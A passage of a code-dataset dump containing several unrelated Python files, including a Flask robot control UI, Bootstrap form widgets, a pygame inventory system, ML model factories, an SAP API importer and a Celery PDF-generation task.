isinstance(stateMachine.currentState,my_states.WaitWorkingState):\n stateMachine.on_socket_data(data)\n\n\n@socketio.on('data', namespace='/broadcast')\ndef on_socket_broadcast(data):\n if data[\"type\"] == \"audit\":\n if data[\"audit\"]:\n stateMachine.on_event(Events.AUDIT_ENABLE)\n else:\n stateMachine.on_event(Events.AUDIT_DISABLE)\n emit(data[\"type\"], data, broadcast=True)\n\n@socketio.on('disconnect')\ndef on_disconnect():\n if str(stateMachine.currentState) in [\"WaitWorkingState\",\"CreateFieldState\"]:\n stateMachine.on_socket_data({\"type\": \"joystick\", \"x\" : 0 , \"y\" : 0})\n\n@app.route('/')\ndef index():\n #ui_language = \"fr\"\n ui_language = config.UI_LANGUAGE\n if ui_language not in ui_languages[\"Supported Language\"]:\n ui_language = \"en\"\n sn = config.ROBOT_SN\n #sn = \"SNXXX\"\n statusOfUIObject = stateMachine.getStatusOfControls()\n\n IA_list = load_ai_list(\"../yolo\")\n Field_list = load_field_list(\"../fields\")\n\n if not Field_list:\n Field_list = None\n current_field = None\n else:\n Field_list.sort(key=str.casefold)\n current_field = subprocess.run([\"readlink\",\"../field.txt\"], stdout=subprocess.PIPE).stdout.decode('utf-8').replace(\"fields/\", \"\")[:-5]\n current_field = unquote(current_field)\n\n if str(stateMachine.currentState) == \"ErrorState\":\n render_template(\"Error.html\",sn=sn, error_message=ui_languages[\"Error_500\"][ui_language]), 500\n\n return render_template('UIRobot.html',sn=sn, statusOfUIObject=statusOfUIObject, ui_languages=ui_languages, ui_language=ui_language, Field_list=Field_list, current_field=current_field, IA_list=IA_list) \n\n@app.route('/map')\ndef maps():\n myCoords=[0,0]\n field = stateMachine.getField()\n if field is None:\n field = load_coordinates(\"../field.txt\")\n if field is None:\n return render_template('map.html', myCoords=myCoords)\n else:\n coords_other = get_other_field()\n coords_field = formattingFieldPointsForSend(field)\n if coords_other:\n return render_template('map.html', coords_field=coords_field, myCoords=myCoords, coords_other=coords_other)\n else:\n return render_template('map.html', coords_field=coords_field, myCoords=myCoords)\n\n@app.route('/offline.html')\ndef offline():\n sn = config.ROBOT_SN\n ui_language = config.UI_LANGUAGE\n if ui_language not in ui_languages[\"Supported Language\"]:\n ui_language = \"en\"\n return render_template('offline.html',sn=sn, ui_languages=ui_languages, ui_language=ui_language)\n\n@app.route('/styles.css')\ndef style():\n response=make_response(send_from_directory('static',filename='css/style.css'))\n response.headers['Content-Type'] = 'text/css'\n return response\n\n@app.errorhandler(Exception)\ndef handle_exception(e):\n # pass through HTTP errors\n if isinstance(e, HTTPException):\n return e\n\n # now you're handling non-HTTP exceptions only\n print(e)\n stateMachine.on_event(Events.ERROR)\n sn = config.ROBOT_SN\n ui_language = config.UI_LANGUAGE\n if ui_language not in ui_languages[\"Supported Language\"]:\n ui_language = \"en\"\n return render_template(\"Error.html\",sn=sn, error_message=ui_languages[\"Error_500\"][ui_language]), 500\n\n@app.route('/sw.js')\ndef worker():\n response=make_response(send_from_directory('static',filename='js/offline_worker.js'))\n response.headers['Content-Type'] = 'application/javascript'\n return response\n\n@app.route('/js/socket.io.min.js')\ndef socket_io_min():\n response=make_response(send_from_directory('static',filename='js/socket.io.min.js'))\n response.headers['Content-Type'] = 'application/javascript'\n return response\n\nif __name__ == \"__main__\":\n init()\n app.run(host=\"0.0.0.0\",port=\"80\",debug=True, use_reloader=False)","sub_path":"uiWebRobot/application.py","file_name":"application.py","file_ext":"py","file_size_in_byte":9262,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"161147259","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\"\"\"\ngaetk2.forms.widgets - wtforms extention to render Bootstrap/HTML5 fields.\n\nbased on https://github.com/nickw444/wtforms-webwidgets\n\nCreated by Maximillian Dornseif on 2017-02-28.\nCoded (c) 2017, 2018. No rights reserved.\n\"\"\"\n\nfrom __future__ import unicode_literals\n\nfrom abc import ABCMeta\nfrom functools import wraps\n\nimport wtforms.widgets.core as wt_core\nimport wtforms.widgets.html5 as wt_html5\n\nfrom wtforms.widgets.core import HTMLString\n\n\nclass CustomWidgetMixin(object):\n \"\"\"A mixin to apply to a widget to identify it as a non-wtforms builtin.\"\"\"\n\n __metaclass__ = ABCMeta\n __webwidget__ = True\n\n\ndef custom_widget_wrapper(cls):\n \"\"\"A decorator to wrap a widget to identify it as non-wtforms builtin.\"\"\"\n cls.__webwidget__ = True\n return cls\n\n\ndef render_field_errors(field):\n \"\"\"Render field errors as html.\"\"\"\n # https://getbootstrap.com/docs/4.0/components/forms/#server-side\n if field.errors:\n html = '
    {errors}
    '.format(\n errors='. '.join(field.errors)\n )\n return HTMLString(html)\n\n return None\n\n\ndef render_field_description(field):\n \"\"\"Render a field description as HTML.\"\"\"\n # https://getbootstrap.com/docs/4.0/components/forms/#help-text\n if hasattr(field, 'description') and field.description != '':\n html = 'field.description}

    '\n html = html.format(\n field=field\n )\n return HTMLString(html)\n\n return ''\n\n\ndef form_group_wrapped(f):\n \"\"\"Wrap a field within a bootstrap form-group.\n\n Additionally sets has-error\n This decorator sets has-error if the field has any errors.\n \"\"\"\n @wraps(f)\n def wrapped(self, field, *args, **kwargs):\n \"\"\"Closure, die bootstrap-gemässes HTML um eine Form-Group baut.\"\"\"\n classes = ['form-group']\n if field.errors:\n classes.append('is-invalid')\n\n html = \"\"\"
    {rendered_field}
    \"\"\".format(\n classes=' '.join(classes),\n rendered_field=f(self, field, *args, **kwargs)\n )\n return HTMLString(html)\n\n return wrapped\n\n\ndef meta_wrapped(f):\n \"\"\"Add a field label, errors, and a description (if it exists) to a field.\"\"\"\n @wraps(f)\n def wrapped(self, field, *args, **kwargs):\n \"\"\"Closure, die bootstrap-gemässes HTML um ein Feld baut.\"\"\"\n html = '{label}{errors}{original}{description}'.format(\n label=field.label(),\n errors=render_field_errors(field) or '',\n original=f(self, field, *args, **kwargs),\n description=render_field_description(field)\n )\n return HTMLString(html)\n return wrapped\n\n\ndef bootstrap_styled(cls=None, add_meta=True, form_group=True, input_class='form-control'):\n \"\"\"\n Wrap a widget to conform with Bootstrap's html control design.\n\n Args:\n input_class: Class to give to the rendered control.\n add_meta: bool:\n \"\"\"\n def real_decorator(cls):\n \"\"\"Funktion (Closure), die wir on demand bauen und zurück geben.\"\"\"\n class NewClass(cls):\n \"\"\"Klasse (Closure), die wir on demand bauen und zurück geben.\"\"\"\n\n pass\n\n NewClass.__name__ = cls.__name__\n newclass = custom_widget_wrapper(NewClass)\n\n _call = newclass.__call__\n\n def call(*args, **kwargs):\n \"\"\"Handler für `NewClass.__call__`.\"\"\"\n if input_class:\n kwargs.setdefault('class', input_class)\n\n return _call(*args, **kwargs)\n\n if add_meta:\n call = meta_wrapped(call)\n if form_group:\n call = form_group_wrapped(call)\n\n newclass.__call__ = call\n return newclass\n\n if cls:\n # Allow calling decorator(cls) instead of decorator()(cls)\n rv = real_decorator(cls)\n return rv\n\n return real_decorator\n\n\nclass BootstrapPlainCheckboxRadio(wt_core.CheckboxInput, CustomWidgetMixin):\n \"\"\"Abstract widget for a Bootstrap Checkbox or Radio implementation.\"\"\"\n\n __metaclass__ = ABCMeta\n\n def __call__(self, field, **kwargs):\n \"\"\"Aufruf zum Rendern.\"\"\"\n label = getattr(field, 'label', None)\n if label in kwargs:\n label = kwargs.pop('label').strip()\n\n html = '
    '.format(\n label=label,\n input_type=self.input_type,\n rendered_field=super(BootstrapPlainCheckboxRadio, self).__call__(field, **kwargs)\n )\n return HTMLString(html)\n\n\nclass PlainCheckbox(BootstrapPlainCheckboxRadio):\n \"\"\"Render a checkbox without any bootstrap container classes.\"\"\"\n\n def __init__(self):\n \"\"\"Setze den richtigen input_type.\"\"\"\n super(PlainCheckbox, self).__init__()\n self.input_type = 'checkbox'\n\n\nclass PlainRadio(BootstrapPlainCheckboxRadio):\n \"\"\"Render a radio without any bootstrap container classes.\"\"\"\n\n def __init__(self):\n \"\"\"Setze den richtigen input_type.\"\"\"\n super(PlainRadio, self).__init__()\n self.input_type = 'radio'\n\n\nCheckboxInput = PlainCheckbox\nRadioInput = PlainRadio\nInput = bootstrap_styled(wt_core.Input)\nTextInput = bootstrap_styled(wt_core.TextInput)\nPasswordInput = bootstrap_styled(wt_core.PasswordInput)\nHiddenInput = wt_core.HiddenInput # We don't need to style this.\nTextArea = bootstrap_styled(wt_core.TextArea)\nSelect = bootstrap_styled(wt_core.Select)\n\nColorInput = bootstrap_styled(wt_html5.ColorInput)\nDateInput = bootstrap_styled(wt_html5.DateInput)\nDateTimeInput = bootstrap_styled(wt_html5.DateTimeInput)\nDateTimeLocalInput = bootstrap_styled(wt_html5.DateTimeLocalInput)\nEmailInput = bootstrap_styled(wt_html5.EmailInput)\nMonthInput = bootstrap_styled(wt_html5.MonthInput)\nNumberInput = bootstrap_styled(wt_html5.NumberInput)\nRangeInput = bootstrap_styled(wt_html5.RangeInput)\nSearchInput = bootstrap_styled(wt_html5.SearchInput)\nTelInput = bootstrap_styled(wt_html5.TelInput)\nTimeInput = bootstrap_styled(wt_html5.TimeInput)\nURLInput = bootstrap_styled(wt_html5.URLInput)\nWeekInput = bootstrap_styled(wt_html5.WeekInput)\n\ndefault_widgets = {\n # Multi Types\n 'SelectMultipleField': Select(multiple=True),\n 'SelectField': Select(),\n 'QuerySelectMultipleField': Select(multiple=True),\n 'QuerySelectField': Select(),\n # 'RadioField': RadioGroup(),\n\n # Input Types\n 'DateField': DateInput(),\n # 'TextField': TextInput(),\n 'StringField': TextInput(),\n 'PasswordField': PasswordInput(),\n\n 'BooleanField': CheckboxInput(),\n # 'FileField': FileInput(),\n # 'SubmitField': SubmitInput(),\n}\n","sub_path":"gaetk2/forms/widgets4.py","file_name":"widgets4.py","file_ext":"py","file_size_in_byte":6721,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"280172","text":"import os\r\nimport pygame\r\nfrom constants import *\r\nfrom find_data import find_data_file\r\n\r\nclass Template(pygame.sprite.Sprite):\r\n\r\n def __init__(self):\r\n super().__init__()\r\n\r\n self.rect = None\r\n\r\n self.obtained_signal = False\r\n self.in_inventory = False\r\n self.dragged = False\r\n self.slot = None\r\n\r\n self.mouse_button_hold = False\r\n\r\n def update(self, inventory):\r\n mouse_pos = pygame.mouse.get_pos()\r\n\r\n # Putting something obtained in inventory\r\n if self.obtained_signal:\r\n self.rect = self.image.get_rect()\r\n for slot in inventory.slots:\r\n if slot.available:\r\n self.rect.center = slot.rect.center\r\n slot.available = False\r\n self.slot = slot\r\n break\r\n self.obtained_signal = False\r\n self.in_inventory = True\r\n\r\n def is_dragging(self, inventory, mouse_button_hold):\r\n if self.in_inventory:\r\n mouse_pos = pygame.mouse.get_pos()\r\n self.mouse_button_hold = mouse_button_hold\r\n\r\n if self.rect.collidepoint(mouse_pos) and self.mouse_button_hold:\r\n self.dragged = True\r\n for obj in inventory.objects:\r\n if not obj.dragged:\r\n obj.mouse_button_hold = False\r\n\r\n def drag_and_release(self, inventory, mouse_pos):\r\n if self.dragged and self.mouse_button_hold:\r\n self.rect.center = mouse_pos\r\n elif self.dragged and not self.mouse_button_hold:\r\n for slot in inventory.slots:\r\n if slot.rect.collidepoint(mouse_pos):\r\n if slot.available:\r\n self.slot.available = True\r\n slot.available = False\r\n self.slot = slot\r\n break\r\n\r\n self.dragged = False\r\n self.rect.center = self.slot.rect.center\r\n\r\n def draw(self, screen):\r\n if self.rect != None:\r\n screen.blit(self.image, self.rect)\r\n\r\nclass Flashlight(Template):\r\n\r\n def __init__(self):\r\n super().__init__()\r\n\r\n state1 = pygame.image.load(find_data_file(os.path.join('data', 'images', 'inventory', 'objects', 'flashlight_1.png'))).convert_alpha()\r\n state2 = pygame.image.load(find_data_file(os.path.join('data', 'images', 'inventory', 'objects', 'flashlight_2.png'))).convert_alpha()\r\n state3 = pygame.image.load(find_data_file(os.path.join('data', 'images', 'inventory', 'objects', 'flashlight_3.png'))).convert_alpha()\r\n\r\n self.state_index = 0\r\n self.states_list = [state1, state2, state3]\r\n self.current_state = self.states_list[self.state_index]\r\n\r\n self.image = self.current_state\r\n\r\n self.on = False\r\n\r\n def update(self, inventory, scenario, light_ray):\r\n super().update(inventory)\r\n\r\n mouse_pos = pygame.mouse.get_pos()\r\n\r\n if self.in_inventory:\r\n # Interaction with a inventory object\r\n if self.dragged and not self.mouse_button_hold:\r\n for obj in inventory.objects:\r\n if obj.rect != None:\r\n if obj.rect.collidepoint(mouse_pos) and isinstance(obj, Batteries):\r\n self.slot.available = True\r\n self.slot = obj.slot\r\n obj.kill() # Eu deveria colocar in_inventory = False?\r\n\r\n if self.state_index < len(self.states_list):\r\n self.state_index += 1\r\n\r\n self.current_state = self.states_list[self.state_index]\r\n self.image = self.current_state\r\n inventory.flashlight_working = True\r\n break\r\n\r\n # Drag & Release\r\n self.drag_and_release(inventory, mouse_pos)\r\n\r\n # Turn flashlight on or off\r\n self.turn_on_off(scenario, light_ray, mouse_pos)\r\n\r\n def turn_on_off(self, scenario, light_ray, mouse_pos):\r\n if scenario.black_screen != None and self.state_index == 1:\r\n self.state_index += 1\r\n self.current_state = self.states_list[self.state_index]\r\n self.image = self.current_state\r\n self.on = True\r\n elif scenario.black_screen == None and self.state_index == 2:\r\n self.state_index -= 1\r\n self.current_state = self.states_list[self.state_index]\r\n self.image = self.current_state\r\n self.on = False\r\n\r\n if self.on:\r\n light_ray.update(scenario, mouse_pos)\r\n\r\nclass Batteries(Template):\r\n\r\n def __init__(self):\r\n super().__init__()\r\n\r\n self.image = pygame.image.load(find_data_file(os.path.join('data', 'images', 'inventory', 'objects', 'batteries_i.png'))).convert_alpha()\r\n\r\n def update(self, inventory, scenario, light_ray):\r\n super().update(inventory)\r\n\r\n mouse_pos = pygame.mouse.get_pos()\r\n\r\n if self.in_inventory:\r\n # Interaction with a inventory object\r\n if self.dragged and not self.mouse_button_hold:\r\n for obj in inventory.objects:\r\n if obj.rect != None:\r\n if obj.rect.collidepoint(mouse_pos) and isinstance(obj, Flashlight):\r\n self.slot.available = True\r\n self.kill() # Eu deveria colocar in_inventory = False?\r\n\r\n if obj.state_index < len(obj.states_list):\r\n obj.state_index += 1\r\n\r\n obj.current_state = obj.states_list[obj.state_index]\r\n obj.image = obj.current_state\r\n inventory.flashlight_working = True\r\n break\r\n\r\n # Drag & Release\r\n self.drag_and_release(inventory, mouse_pos)\r\n\r\nclass WarehouseKey(Template):\r\n\r\n def __init__(self):\r\n super().__init__()\r\n\r\n self.image = pygame.image.load(find_data_file(os.path.join('data', 'images', 'inventory', 'objects', 'warehouse_key_i.png'))).convert_alpha()\r\n\r\n def update(self, inventory, scenario, light_ray):\r\n super().update(inventory)\r\n\r\n mouse_pos = pygame.mouse.get_pos()\r\n\r\n if self.in_inventory:\r\n self.drag_and_release(inventory, mouse_pos)\r\n","sub_path":"development/inventory_objects.py","file_name":"inventory_objects.py","file_ext":"py","file_size_in_byte":6467,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"326018459","text":"import requests\nfrom decouple import config\n\nSECRET_KEY = config('SECRET_KEY')\n\nheaders = {\n 'Host': 'kakaoi-newtone-openapi.kakao.com',\n 'Content-Type': 'application/octet-stream',\n 'X-DSS-Service': 'DICTATION',\n 'Authorization': f'KakaoAK {SECRET_KEY}',\n}\n\n# Transfer-Encoding: chunked # 보내는 양을 모를 땐 이걸 쓴다.\n\ndata = open(\"pansori2.wav\", \"rb\").read()\n# print(data)\nresponse = requests.post('https://kakaoi-newtone-openapi.kakao.com/v1/recognize', headers=headers, data=data)\n# print(response)\nprint(response.text)","sub_path":"ferpredict3/restapi.py","file_name":"restapi.py","file_ext":"py","file_size_in_byte":549,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"397587061","text":"\nfrom importlib import import_module\n\nimport torch\nimport torch.nn as nn\nimport torch.nn.functional as F\n\nfrom torch.optim import Adam, SGD\nfrom madgrad import MADGRAD\nfrom adamp import AdamP, SGDP\nfrom transformers import AdamW\n\nfrom transformers import ElectraConfig, ElectraForSequenceClassification\nfrom transformers import BertConfig, BertForSequenceClassification\n\n\ndef create_model(model_name):\n if \"electra\" in model_name.lower():\n electra_config = ElectraConfig.from_pretrained(model_name)\n electra_config.num_labels = 42\n model_ft = ElectraForSequenceClassification(electra_config)\n\n return model_ft\n\n elif \"bert\" in model_name.lower():\n bert_config = BertConfig.from_pretrained(model_name)\n bert_config.num_labels = 42\n model_ft = BertForSequenceClassification(bert_config)\n\n return model_ft\n\n\ndef create_criterion(criterion_name, *args, **kwargs):\n if criterion_name == \"CrossEntropyError\":\n criterion = nn.CrossEntropyLoss(*args, **kwargs)\n elif criterion_name == \"MSE\":\n criterion = nn.MSELoss(*args, **kwargs)\n elif criterion_name == \"FocalLoss\":\n criterion = FocalLoss(*args, **kwargs)\n elif criterion_name == \"KLDiv\":\n criterion = nn.KLDivLoss(*args, **kwargs)\n elif criterion_name == \"LabelSmoothingLoss\":\n criterion = LabelSmoothingLoss(*args, **kwargs)\n else:\n raise Exception(f\"{criterion_name} does not exist in criterion_list.\")\n\n return criterion\n\n\ndef create_optimizer(optimizer_name, **kwargs):\n if optimizer_name == \"Adam\":\n optimizer = Adam(**kwargs)\n elif optimizer_name == \"SGD\":\n optimizer = SGD(**kwargs)\n elif optimizer_name == \"MADGRAD\":\n optimizer = MADGRAD(**kwargs)\n elif optimizer_name == \"AdamP\":\n optimizer = AdamP(**kwargs)\n elif optimizer_name == \"SGDP\":\n optimizer = SGDP(**kwargs)\n elif optimizer_name == \"AdamW\":\n optimizer = AdamW(**kwargs)\n else:\n raise Exception(f\"{optimizer_name} does not exist in optimizer_list.\")\n\n return optimizer\n\n\nclass FocalLoss(nn.Module):\n def __init__(self, weight=None, gamma=2.0, reduction=\"mean\"):\n nn.Module.__init__(self)\n self.weight = weight\n self.gamma = gamma\n self.reduction = reduction\n\n def forward(self, input_tensor, target_tensor):\n log_prob = F.log_softmax(input_tensor, dim=-1)\n prob = torch.exp(log_prob)\n return F.nll_loss(((1 - prob) ** self.gamma) * log_prob, target_tensor, weight=self.weight, reduction=self.reduction)\n\n\nclass LabelSmoothingLoss(nn.Module):\n def __init__(self, classes=42, smoothing=0.0, dim=-1):\n super(LabelSmoothingLoss, self).__init__()\n self.confidence = 1.0 - smoothing\n self.smoothing = smoothing\n self.cls = classes\n self.dim = dim\n\n def forward(self, pred, target):\n pred = pred.log_softmax(dim=self.dim)\n with torch.no_grad():\n true_dist = torch.zeros_like(pred)\n true_dist.fill_(self.smoothing / (self.cls - 1))\n true_dist.scatter_(1, target.data.unsqueeze(1), self.confidence)\n\n return torch.mean(torch.sum(-true_dist * pred, dim=self.dim))\n\n\nclass ClassifierModel(nn.Module):\n def __init__(self, model_type, model_name, class_num=42, fc_size=256, dropout_rate=None, embedding_size=None):\n super(ClassifierModel, self).__init__()\n\n model_config = getattr(import_module(\"transformers\"), model_type + \"Config\").from_pretrained(model_name)\n self.model_type = model_type\n # backbone.\n self.backbone = getattr(import_module(\"transformers\"), model_type + \"Model\").from_pretrained(model_name)\n if embedding_size is not None:\n self.backbone.resize_token_embeddings(embedding_size)\n # flatten\n self.flatten = nn.Flatten(0, -1)\n # connector\n self.connector = nn.Linear(model_config.hidden_size, fc_size)\n # classifier.\n self.classifier = nn.Linear(fc_size * 3, class_num)\n # dropout\n self.dropout = nn.Dropout(p=dropout_rate) if dropout_rate else None\n # activation\n self.tanh = nn.Tanh()\n\n def forward(self, e_token_mask, **kwargs):\n # Reference : https://github.com/monologg/R-BERT\n e1_token_mask = e_token_mask[\"e1_token_mask\"]\n e2_token_mask = e_token_mask[\"e2_token_mask\"]\n\n if e1_token_mask is None or e2_token_mask is None:\n raise Exception(\"ERROR! Model must be feed e1_token_ids, e2_token_ids\")\n\n outputs = self.backbone(**kwargs).last_hidden_state # (batch_size, max_len, hidden_size)\n\n cls_output = outputs[:, 0, :]\n e1_output = torch.sum(outputs * e1_token_mask.unsqueeze(-1), dim=1) / torch.sum(e1_token_mask, dim=1, keepdim=True)\n e2_output = torch.sum(outputs * e2_token_mask.unsqueeze(-1), dim=1) / torch.sum(e2_token_mask, dim=1, keepdim=True)\n if self.dropout:\n cls_output = self.dropout(cls_output)\n e1_output = self.dropout(e1_output)\n e2_output = self.dropout(e2_output)\n cls_output = self.connector(self.tanh(cls_output))\n e1_output = self.connector(self.tanh(e1_output))\n e2_output = self.connector(self.tanh(e2_output))\n\n combine_output = torch.cat([cls_output, e1_output, e2_output], dim=-1)\n if self.dropout:\n combine_output = self.dropout(combine_output)\n\n out = self.classifier(combine_output)\n\n return out\n","sub_path":"code/creators.py","file_name":"creators.py","file_ext":"py","file_size_in_byte":5499,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"170175051","text":"import requests\nimport random\nimport string\nfrom hashlib import sha256\nimport hmac\nimport time\nfrom config import SAP_API_URL, SAP_SECRET_KEY, SAP_ACCESSKEYID\nimport json\nfrom app.models import SAPCompanies, SAPCostCenters, SAPGLAccounts, SAPProductGroups, SAPProducts, SAPProfitCenters\nfrom app.models import SAPRevisions, SAPWBSElements\nfrom app import db\nfrom treelib import Tree\n\n\ndef get_sap_api(path):\n # Generate nonce in secure way\n nonce = ''.join(random.SystemRandom().choice(string.ascii_uppercase + string.digits) for _ in range(15))\n\n # Get milliseconds from EPOCH as timestamp\n timestamp = str((int(time.time()) * 1000))\n\n # Convert message for HMAC. It should be in bytes format\n msg = str.encode(SAP_ACCESSKEYID + timestamp + nonce)\n\n # Generate HMAC SHA256 signature in HEX format\n signature = hmac.new(key=SAP_SECRET_KEY, msg=msg, digestmod=sha256).hexdigest()\n\n # Prepare params for request\n params = {'AccessKeyId': SAP_ACCESSKEYID, 'Signature': signature, 'Nonce': nonce, 'Timestamp': timestamp}\n\n # Start session\n s = requests.Session()\n req = requests.Request('GET', SAP_API_URL + path, params=params)\n prep = req.prepare()\n resp = s.send(prep)\n resp_dict = {'answer': {}, 'status_code': resp.status_code}\n if resp.status_code == 404:\n return resp_dict\n else:\n resp_dict['answer'] = json.loads(resp.text)\n return resp_dict\n\n\ndef sap_latest_revision():\n return db.session.query(db.func.max(SAPRevisions.id)).scalar()\n\n\ndef sap_new_revision():\n new_revision = SAPRevisions.status = 'ok'\n db.session.add(new_revision)\n db.session.commit()\n\n\ndef sap_import_companies():\n new_revision = SAPRevisions(status='in progress')\n db.session.add(new_revision)\n db.session.commit()\n companies = get_sap_api('/Companies')\n company_list = []\n if companies['status_code'] == 404:\n new_revision.status = 'SAP API return 404 error'\n else:\n for company in companies['answer']['Results']:\n new_company = SAPCompanies(code=company['Code'], description=company['Description'], revision=new_revision.id)\n db.session.add(new_company)\n company_list.append(company['Code'])\n # TODO: Check if import was successful\n if 1 == 1:\n new_revision.status = 'done'\n db.session.commit()\n result = {'revision': new_revision.id, 'companies': company_list}\n return result\n\n\ndef sap_import_cc(company, revision):\n revision = SAPRevisions.query.filter_by(id=revision).first()\n all_cc = get_sap_api('/{}/CostCenters'.format(company))\n if all_cc['status_code'] == 404:\n revision.status = 'SAP API return 404 error'\n else:\n for cc in all_cc['answer']['Results']:\n new_cc = SAPCostCenters(code=cc['Code'],\n company_code=company,\n name=cc['Name'],\n profit_center=cc['ProfitCenter'],\n person_responsible=cc['PersonResponsible'],\n parent=cc['Parent'],\n revision=revision.id)\n db.session.add(new_cc)\n # TODO: Check if import was successful\n if 1 == 1:\n revision.status = 'CC import - success'\n db.session.commit()\n\n\ndef sap_import_wbs(revision):\n revision = SAPRevisions.query.filter_by(id=revision).first()\n all_wbs = get_sap_api('/WbsElements')\n if all_wbs['status_code'] == 404:\n revision.status = 'SAP API return 404 error'\n else:\n for wbs in all_wbs['answer']['Results']:\n new_wbs = SAPWBSElements(code=wbs['Code'], description=wbs['Description'], revision=revision.id)\n db.session.add(new_wbs)\n # TODO: Check if import was successful\n if 1 == 1:\n revision.status = 'WBS import - success'\n db.session.commit()\n\n\ndef sap_import_products(revision):\n revision = SAPRevisions.query.filter_by(id=revision).first()\n products = get_sap_api('/Products')\n if products['status_code'] == 404:\n revision.status = 'SAP API return 404 error'\n else:\n for product in products['answer']['Results']:\n # It could be blank row\n # TODO: report this to Andreas\n if product['Code']:\n new_product = SAPProducts(code=product['Code'],\n name=product['Name'],\n group=product['Group'],\n blocked=product['Blocked'],\n revision=revision.id)\n\n # We need to check this, because sometimes it causes error\n if product['GroupCode']:\n new_product.group_code = product['GroupCode']\n if product['Type']:\n new_product.type = product['Type']\n db.session.add(new_product)\n # TODO: Check if import was successful\n if 1 == 1:\n revision.status = 'Products import - success'\n db.session.commit()\n\n\ndef sap_import_accounts(company, revision):\n revision = SAPRevisions.query.filter_by(id=revision).first()\n accounts = get_sap_api('/{}/GLAccounts'.format(company))\n if accounts['status_code'] == 404:\n revision.status = 'SAP API return 404 error'\n else:\n for account in accounts['answer']['Results']:\n new_account = SAPGLAccounts(account_number=account['AccountNumber'],\n description=account['Description'],\n revision=revision.id)\n db.session.add(new_account)\n # TODO: Check if import was successful\n if 1 == 1:\n revision.status = 'Accounts import - success'\n db.session.commit()\n\n\ndef sap_import_all():\n companies = sap_import_companies()\n for company in companies['companies']:\n sap_import_cc(company, companies['revision'])\n sap_import_accounts(company, companies['revision'])\n\n # Import WBS Elements\n sap_import_wbs(companies['revision'])\n\n # Import Companies\n sap_import_products(companies['revision'])\n\n\nif __name__ == \"__main__\":\n sap_import_all()\n\n","sub_path":"app/sap_api.py","file_name":"sap_api.py","file_ext":"py","file_size_in_byte":6280,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"14778553","text":"import string\n\n\nclass Node:\n def __init__(self, val, left=None, right=None):\n self.val = val\n self.left = left\n self.right = right\n\n\ndef serialize(root):\n global s\n if(root != None):\n s.append(root.val)\n serialize(root.left)\n serialize(root.right)\n else:\n s.append('None')\n return str(s).strip('[]')\n\n\n# def deserialize(s):\n# l = list(s.split(', ')\n\n\ns = []\nnode = Node('root', Node('left', Node('left.left')), Node('right'))\nprint(serialize(node))\n\n\n# ultimate test\n# node = Node('root', Node('left', Node('left.left')), Node('right'))\n# assert deserialize(serialize(node)).left.left.val == 'left.left'\n","sub_path":"py/google_binTree_serialize_deserialize/binary_tree.py","file_name":"binary_tree.py","file_ext":"py","file_size_in_byte":672,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"597178834","text":"from celery import Celery\nfrom werkzeug.utils import secure_filename\nimport sys\nimport os\nimport subprocess\nfrom datetime import datetime\nsys.path.append(os.path.join(os.getcwd(), '..', 'build_report', 'scripts'))\nsys.path.append(os.path.join(os.getcwd(), 'build_report', 'scripts'))\nfrom genomics import get_config\n\ndef make_celery(app):\n celery = Celery(\n app.import_name,\n backend=app.config['CELERY_RESULT_BACKEND'],\n broker=app.config['CELERY_BROKER_URL']\n )\n celery.conf.update(app.config)\n\n class ContextTask(celery.Task):\n def __call__(self, *args, **kwargs):\n with app.app_context():\n return self.run(*args, **kwargs)\n\n celery.Task = ContextTask\n return celery\n\n@celery.task(bind=True)\ndef long_pdf_task(self):\n # Initialize state\n self.update_state(state='IN PROGRESS')\n\n # Background task that runs a long function\n path, filename = '', ''\n if request.method == 'POST':\n for f in [request.files['file'], request.files['target_file']]:\n filename = secure_filename(f.filename)\n path = os.path.join(app.config['UPLOAD_FOLDER'], filename)\n f.save(path)\n\n command = ['bash', get_config.main(\"flaskAPI\", \"sub_command\")]\n os.chdir(os.path.dirname(get_config.main(\"flaskAPI\", \"sub_command\")))\n\n with open(os.path.join(get_config.main(\"flaskAPI\", \"log_dir\"), str(datetime.now())), 'w') as f:\n process = subprocess.run(command, stdout=f)\n print(process)\n\n\n\n sample_id, ext = os.path.splitext(filename)\n output_filename = '%s.pdf' % sample_id\n #output_filename = '%s.pdf' % 'sample_variants'\n output_path = os.path.join(app.config[\"CLIENT_PDF\"], output_filename)\n\n try:\n\n self.update_state(state='Complete')\n return send_file(\n output_path,\n as_attachment=True,\n attachment_filename=output_filename)\n #attachment_filename=filename)\n\n except FileNotFoundError:\n abort(404)","sub_path":"api/celery_worker.py","file_name":"celery_worker.py","file_ext":"py","file_size_in_byte":2006,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"129005903","text":"from __future__ import unicode_literals\n\nimport collections\nfrom mock import Mock\n\nfrom django.contrib.auth import get_user_model\nfrom django.utils import unittest\nfrom rest_framework import status\nfrom rest_framework import test\nfrom rest_framework.reverse import reverse\n\nfrom nodeconductor.structure.models import CustomerRole, ProjectRole\nfrom nodeconductor.structure.views import CustomerPermissionViewSet\nfrom nodeconductor.structure.tests import factories\n\nUser = get_user_model()\n\nTestRole = collections.namedtuple('TestRole', ['user', 'customer', 'role'])\n\n\nclass CustomerPermissionViewSetTest(unittest.TestCase):\n def setUp(self):\n self.view_set = CustomerPermissionViewSet()\n self.request = Mock()\n self.user_group = Mock()\n\n def test_create_adds_user_role_to_customer(self):\n customer = self.user_group.group.customerrole.customer\n customer.add_user.return_value = self.user_group, True\n\n serializer = Mock()\n serializer.is_valid.return_value = True\n serializer.object = self.user_group\n\n self.view_set.request = self.request\n self.view_set.can_save = Mock(return_value=True)\n self.view_set.get_serializer = Mock(return_value=serializer)\n self.view_set.create(self.request)\n\n customer.add_user.assert_called_once_with(\n self.user_group.user,\n self.user_group.group.customerrole.role_type,\n )\n\n def test_destroy_removes_user_role_from_customer(self):\n customer = self.user_group.group.customerrole.customer\n\n self.view_set.get_object = 